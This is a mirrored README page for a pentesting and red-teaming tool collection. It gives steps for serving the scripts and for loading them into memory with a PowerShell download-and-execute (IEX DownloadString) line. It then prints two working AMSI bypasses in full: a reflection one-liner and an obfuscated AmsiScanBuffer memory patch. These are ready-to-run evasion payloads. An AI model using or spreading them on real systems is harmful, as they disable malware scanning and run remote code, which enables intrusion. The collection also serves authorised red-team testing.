Code Monkey home page Code Monkey logo

pentesttools's Introduction

Collection of Pentesting and Red Teaming Tools..

Usages

Download the tools locally and set up a web or SMB server

  1. Clone the repo locally
git clone https://github.com/lefayjey/PentestTools
  1. (Optional) Update tools using install script
cd PentestTools
chmod +x install.sh
./install.sh
  1. Run HTTP or SMB servers
python3 -m http.server 8000 --directory /opt/PentestTools/
python3 smbserver.py SHARE /opt/PentestTools/ -smb2 -username <user> -password <pass>
  1. Load scripts

. .\Offline_WinPwn.ps1

Import-Module \\<Kali_IP>\Offline_WinPwn.ps1

Load scripts into memory directly using the GitHub raw links

https://raw.githubusercontent.com/lefayjey/PentestTools/master/<folder>/<script_binary>

Examples:

IEX ((new-object net.webclient).DownloadString('https://raw.githubusercontent.com/lefayjey/PentestTools/master/windows/Offline_WinPwn.ps1'))

Bypass AMSI

# Matt Graebers Reflection method:
$a=[Ref].Assembly.GetTypes(); Foreach($b in $a) {if ($b.Name -like "*iUtils") {$c=$b}}; $d=$c.GetFields('NonPublic,Static'); Foreach($e in $d) {if ($e.Name -like "*InitFailed") {$f=$e}}; $g=$f.SetValue($null,$true)
#Rasta-mouses Amsi-Scan-Buffer patch
$gqnjw = @"
using System;
using System.Runtime.InteropServices;
public class gqnjw {
    [DllImport("kernel32")]
    public static extern IntPtr GetProcAddress(IntPtr hModule, string procName);
    [DllImport("kernel32")]
    public static extern IntPtr LoadLibrary(string name);
    [DllImport("kernel32")]
    public static extern bool VirtualProtect(IntPtr lpAddress, UIntPtr jkbwtd, uint flNewProtect, out uint lpflOldProtect);
}
"@

Add-Type $gqnjw

$gcakabp = [gqnjw]::LoadLibrary("$([chAR]([bYTe]0x61)+[ChAR](97+12)+[ChAR]([BYTE]0x73)+[Char]([byTe]0x69)+[CHar]([BYtE]0x2e)+[Char](100)+[ChAR]([Byte]0x6c)+[Char](52+56))")
$qbrbya = [gqnjw]::GetProcAddress($gcakabp, "$(('Ám'+'sí'+'Sc'+'àn'+'Bu'+'ff'+'er').nOrMaLIzE([ChAr]([byTe]0x46)+[cHar](111*34/34)+[ChaR](77+37)+[ChAr](109*35/35)+[CHAr](68)) -replace [chAR]([byTe]0x5c)+[Char]([BYte]0x70)+[cHaR](68+55)+[cHAr]([bYtE]0x4d)+[cHar](110*78/78)+[chAr](119+6))")
$p = 0
[gqnjw]::VirtualProtect($qbrbya, [uint32]5, 0x40, [ref]$p)
$hisv = "0xB8"
$efyl = "0x57"
$yguu = "0x00"
$jpil = "0x07"
$qjad = "0x80"
$rmsx = "0xC3"
$qmnkq = [Byte[]] ($hisv,$efyl,$yguu,$jpil,+$qjad,+$rmsx)
[System.Runtime.InteropServices.Marshal]::Copy($qmnkq, 0, $qbrbya, 6)

pentesttools's People

Contributors

lefayjey avatar

Recommend Projects

  • React photo React

    A declarative, efficient, and flexible JavaScript library for building user interfaces.

  • Vue.js photo Vue.js

    🖖 Vue.js is a progressive, incrementally-adoptable JavaScript framework for building UI on the web.

  • Typescript photo Typescript

    TypeScript is a superset of JavaScript that compiles to clean JavaScript output.

  • TensorFlow photo TensorFlow

    An Open Source Machine Learning Framework for Everyone

  • Django photo Django

    The Web framework for perfectionists with deadlines.

  • D3 photo D3

    Bring data to life with SVG, Canvas and HTML. 📊📈🎉

Recommend Topics

  • javascript

    JavaScript (JS) is a lightweight interpreted programming language with first-class functions.

  • web

    Some thing interesting about web. New door for the world.

  • server

    A server is a program made to process requests and deliver data to clients.

  • Machine learning

    Machine learning is a way of modeling and interpreting data that allows a piece of software to respond intelligently.

  • Game

    Some thing interesting about game, make everyone happy.

Recommend Org

  • Facebook photo Facebook

    We are working to build community through open source technology. NB: members must have two-factor auth.

  • Microsoft photo Microsoft

    Open source projects and samples from Microsoft.

  • Google photo Google

    Google ❤️ Open Source for everyone.

  • D3 photo D3

    Data-Driven Documents codes.